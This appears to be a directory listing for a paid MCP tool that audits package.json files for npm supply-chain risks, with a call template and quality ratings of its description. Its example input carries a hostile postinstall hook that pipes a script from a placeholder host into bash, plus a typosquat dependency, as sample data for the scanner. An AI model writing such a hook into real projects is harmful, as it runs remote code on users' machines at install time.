Skip to main content
Glama

security_package_json_check

Read-only

package.json supply-chain check — Offline npm supply-chain audit of a package.json: install scripts that download or run remote code, known malicious and typosquat package names, versions hit by past npm compromises (event-stream, ua-parser-js, chalk/debug 2025...), unpinned and open-ended ranges, git and URL dependencies, dependency-confusion names, committed tokens, risky publish config. Verdict PASS/REVIEW/FIX BEFORE INSTALL/BLOCK with score and fixes. text= (package.json content) or url= (raw or GitHub blob link). Example: /v1/security/package-json-check?url=https://github.com/expressjs/express/blob/master/package.json Price: $0.005 USDC (Base, via x402).

Tool call template

Replace each placeholder with a value matching the input schema. Only required parameters are included; add optional parameters as needed.

{
  "id": 1,
  "jsonrpc": "2.0",
  "method": "tools/call",
  "params": {
    "arguments": {
      "text": "<text>"
    },
    "name": "security_package_json_check"
  }
}

Input Schema

NameRequiredDescriptionDefault
textYes{"name":"demo","scripts":{"postinstall":"curl -s https://x.example/i.sh | bash"},"dependencies":{"crossenv":"^1.0.0","lodash":"*"}}

Schema Changelog

Changes observed during successful MCP inspections.

  1. Added

TDQS

A3.9/5.0
Behavior4/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

Annotations already declare readOnly, non-destructive, and open-world behavior. The description adds valuable context beyond that: it is an offline audit, it checks specific supply-chain risk categories, it returns a graded verdict with score and fixes, and it costs $0.005 via x402. It does not clarify how the url= input interacts with the stated offline nature.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness3/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The purpose is front-loaded, but the description is a dense run-on paragraph mixing the checklist, verdict levels, input syntax, example, and pricing. It is informative but harder to scan than it needs to be.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness4/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

With no output schema, the description appropriately explains the return verdict and fixes. It also covers input content and pricing. The main completeness gap is the unsupported url= option and the unresolved tension between 'offline' and open-world/URL fetching.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters2/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema coverage is already 100% for the single required text parameter, and the description usefully clarifies that text= is package.json content. However, it also introduces a url= input that is not present in the schema, which can mislead an agent into passing an unsupported parameter.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

Starts with a specific verb and resource: an offline npm supply-chain audit of a package.json. The detailed checklist and PASS/REVIEW/FIX/BLOCK verdict clearly distinguish it from sibling security checks that target other configuration files.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines4/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

The context makes it clear this tool is for auditing package.json content, and it gives input usage via text= or url=. It does not explicitly name when not to use it or compare it to alternatives, so it stops short of the top score.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Try in Browser

Glama MCP Gateway

Add one secure layer between your agents and this server.

Resources